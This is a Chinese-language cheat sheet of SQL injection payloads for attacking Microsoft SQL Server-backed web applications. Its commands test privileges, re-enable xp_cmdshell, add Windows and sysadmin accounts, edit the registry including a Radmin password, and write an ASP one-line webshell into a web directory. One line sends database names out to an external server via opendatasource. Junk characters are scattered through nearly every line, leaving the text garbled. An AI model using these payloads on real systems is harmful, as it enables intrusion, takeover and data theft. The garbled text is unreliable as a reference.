阿D常用的一些注入命令
4 m! U$ i1 b4 b//看看是什么权限的9 _# J8 M' i; ^, P" u& D5 b ~
and 1=(Select IS_MEMBER('db_owner'))) x' q+ Q0 s1 A: t1 a) H* p4 j
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--/ E7 |8 M/ X# b* N8 J& @& d9 [( P5 O
5 D4 {3 K% ? ~# s$ r0 ~
//检测是否有读取某数据库的权限9 [; }( d. _4 |$ ]6 T: A5 m! Y; l6 a
and 1= (Select HAS_DBACCESS('master'))( ~% _# S" M0 \
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
- H4 |& T8 p' G0 D8 V+ a, x: a
# E( {3 B9 p! a! B! g4 f4 R- h+ Z% A7 B" M v1 `
数字类型$ c' P/ _8 g. S' l$ e* j9 q
and char(124)%2Buser%2Bchar(124)=0$ @( ~9 b# r5 d7 E8 D, F
) a& Z: d* B! |字符类型$ U4 M" `8 k8 z7 N7 X% d9 \% B
' and char(124)%2Buser%2Bchar(124)=0 and ''='
3 R8 J1 g' ?+ v# [7 _
3 { l7 I, [! Q# }3 c搜索类型) }! Q6 \$ o& o) V
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
& ` A0 B0 |" v0 h& o; d+ y( u' g! R4 J [9 O h3 f3 i
爆用户名3 T! H4 Y. c7 X `
and user>0
/ l( m* C; D# ~) w/ Z( e' and user>0 and ''='
B) w: M1 X* f; f& m f* Z4 T- z: u/ f
检测是否为SA权限. W0 `5 M5 K/ t5 ~# X2 J
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
" [2 F) l) q# A$ iAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --7 ?% H4 P3 a$ L. }6 x6 |
$ R q6 r7 S6 c9 b E检测是不是MSSQL数据库
5 p- g- }2 d! w9 ^- U3 gand exists (select * from sysobjects);--
6 D& L) R9 ]4 N/ i+ T0 I7 C) \; g) w7 m& v! F
检测是否支持多行
6 }" \, M/ f" y5 V1 G7 r3 q;declare @d int;-- " w) `8 u# [& S! @9 W
3 U! [1 P4 H( F
恢复 xp_cmdshell# t( U) |' z# m! |6 z
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--0 ^6 o% a D, E" v3 e
8 H; K7 R$ k6 e9 d# C3 f" Y' j
, ^$ \, w& Q6 x( ~0 w# |" g8 ?
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') ; c1 o" ]! z, _9 X- M7 j
; c. D% k, u9 i6 L0 J; @. @( d//-----------------------
0 d: ?/ L7 v! x6 L// 执行命令
1 H" H2 h- {* ~( P5 ?//-----------------------
" `" p0 k7 ]- z' w首先开启沙盘模式:
/ O3 ]! b) K5 r4 w1 K- texec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
0 @( V0 ?, X* c0 Q: A) N1 d" X9 P0 L& \! K
然后利用jet.oledb执行系统命令8 l8 q L6 w" \; u7 _% d% q& u
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
{" |+ x/ q7 a$ S" K1 o. _+ c5 n# D9 U0 L& |1 h
执行命令- O6 z, U! x+ R2 m9 R9 f
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--/ d( \9 t0 R6 w& e' M" ~8 h
: Z9 O a% y( P, Q" n) `EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
% l* P# b9 P Z
2 ]3 d/ H4 A, l8 q# f# ? c判断xp_cmdshell扩展存储过程是否存在:/ B, _* ~$ C, S4 G+ E
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')- G' o, d# Z( d3 G0 \
2 A- s5 M; E6 U' ~! {' ^写注册表
/ c' ~8 Y3 J1 J% Zexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',13 ?% |9 g& T" c, }% o
% d1 X5 g% ]6 e8 G# u6 bREG_SZ
& [9 \: T! `9 a3 c+ ^4 u( u( Z$ T7 h; w# p# w4 g. A& r& a
读注册表
1 I/ _; }/ L2 B3 c0 j$ h" w* |exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'! U5 E2 \" G2 g* g, z
! w4 @# _% R; r5 b
读取目录内容
3 m% M0 T, H* v1 D5 k1 y% \exec master..xp_dirtree 'c:\winnt\system32\',1,1
4 Z( c$ H: r( b! D3 [% [( I$ @& v5 d4 R# h' L$ e& e7 ]
$ j& ?0 e; G) o! s% X0 ? J数据库备份
; u; G( A" @7 d- ^0 `9 i6 }backup database pubs to disk = 'c:\123.bak'
) b" T r0 S3 l# X3 V$ @, ?" f$ d1 y4 s
//爆出长度
5 {5 f; L. x: i" b# }4 DAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
6 b# A; q$ j" R! N4 N; F- Q5 U$ ^. F) L1 A8 x
) N* s$ E8 Y) w: l; s& l) A
" M* E0 H. z7 ^# Q更改sa口令方法:用sql综合利用工具连接后,执行命令:
/ `' j. c( D) D7 yexec sp_password NULL,'新密码','sa'8 w( z+ P2 D6 A' V9 Z% F9 n
' ^1 T" Q0 ~! V, b" a& Y3 T添加和删除一个SA权限的用户test:
2 H! {/ Y# J9 ~. e, r& fexec master.dbo.sp_addlogin test,ptlove
/ l) y; ~ O Sexec master.dbo.sp_addsrvrolemember test,sysadmin6 z; _+ h4 H/ B a1 a* n5 f
* A4 W6 g3 l6 H/ b6 t. l删除扩展存储过过程xp_cmdshell的语句: 2 u2 [; \" H3 J' }: U. f; |( n
exec sp_dropextendedproc 'xp_cmdshell'! K& K6 ]4 l9 }# i# v! s
# O2 E7 R8 ], G3 X添加扩展存储过过程' |; o1 A J z6 l- Q, c: [
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' 4 k# ^- I4 j; H
GRANT exec On xp_proxiedadata TO public
6 z3 E5 O+ ?! a( E K2 P9 |5 ^% W8 K
@9 {5 d# X: ?; ~
停掉或激活某个服务。 3 t+ C+ w- e1 i7 ?
- l2 n" Y2 r* [* Sexec master..xp_servicecontrol 'stop','schedule'
3 _! F" s( w0 v8 J. Yexec master..xp_servicecontrol 'start','schedule'
i( c* f3 R& N- L9 [9 X2 @& a/ h- ]5 J- V# h
dbo.xp_subdirs! l8 ~. n! r% ^( F7 V0 H& r
+ p- G w# e8 G+ A4 r; n
只列某个目录下的子目录。
( {2 S( X, s# c% z7 g$ f0 B2 ~+ Cxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
4 y: s6 R. U9 p* N& z ]5 r0 a$ p' o4 I8 |
dbo.xp_makecab5 l6 D$ }: D$ g" R
' q: P7 d) f- G, S& f/ b
将目标多个档案压缩到某个目标档案之内。
- K/ f4 B% O7 D+ W/ S' Y所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。! O* K( {2 u4 C7 Z) U4 O
. T' \: \% ]) P! o5 n$ n
dbo.xp_makecab
" N2 |4 d+ r( u. y- Y'c:\test.cab','mszip',1,
6 v/ E5 ~! S, d0 G'C:\Inetpub\wwwroot\SQLInject\login.asp',3 ]- ^5 r5 s8 F3 @
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
7 C; c- D4 [1 y9 k0 {- r/ R
( C. e( E2 `/ c' B1 E& o. `. cxp_terminate_process
+ a0 d3 ~; w5 [, s. F' W8 Y; U" Y( N( R/ b; _# d
停掉某个执行中的程序,但赋予的参数是 Process ID。# Q) E( c2 K! ]. U% Y5 x
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
$ U- Z2 [; v7 Q! T& C/ k) j- d+ W' T
xp_terminate_process 24846 I9 q2 I- n3 v; ]: _
' J/ \# p: S- I/ C0 J
xp_unpackcab6 W( j8 ^4 j! b9 e
, R" k9 x9 C+ E+ @9 {解开压缩档。 |6 y! g* o, o3 o, D* Y5 O
* K1 i8 ?0 P) J1 ?. i, |: fxp_unpackcab 'c:\test.cab','c:\temp',1
" R1 K) r: h( b5 y0 L7 L& ^. c/ i( z; a7 F U% G
- R2 b: O7 |) g& S' d4 E' z/ |
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234: C! a1 z8 {4 J0 I5 n6 [/ D
$ p& `7 j% @& T4 Y$ @0 g* Qcreate database lcx;9 V# H$ N5 W/ R0 L2 ?
Create TABLE ku(name nvarchar(256) null);- s J+ |; {! Y+ u
Create TABLE biao(id int NULL,name nvarchar(256) null);
! T7 f7 n2 L9 v& r4 I% X6 S# Y$ `3 ?" v$ @
//得到数据库名
0 J( G: ]* N. [/ Sinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
$ ~! V" b, y/ W5 i" W" R2 j7 }0 a! T+ R* X8 o m0 Z6 ?- y
! Q# P0 L$ [$ r) x* h; O9 u$ u6 n//在Master中创建表,看看权限怎样
$ c+ l( h- |6 H3 `# R* w& L4 O% }Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--1 g5 M9 {- \/ y1 G
; N" O9 O4 B: F- L" Q
用 sp_makewebtask直接在web目录里写入一句话马:
, p n2 x+ N8 E5 U7 h6 x4 Lhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
) O* x! ]2 x, ?# K+ a3 }! A8 s
* E8 A) ^& [4 G L//更新表内容- p( p7 p, [6 p3 J7 a. v$ V6 E
Update films SET kind = 'Dramatic' Where id = 123
2 n& y! s7 l/ i- {2 d5 W |7 N# ^$ N7 D, I k% y
//删除内容
9 L# C& V6 R/ r6 {" p2 wdelete from table_name where Stockid = 3 |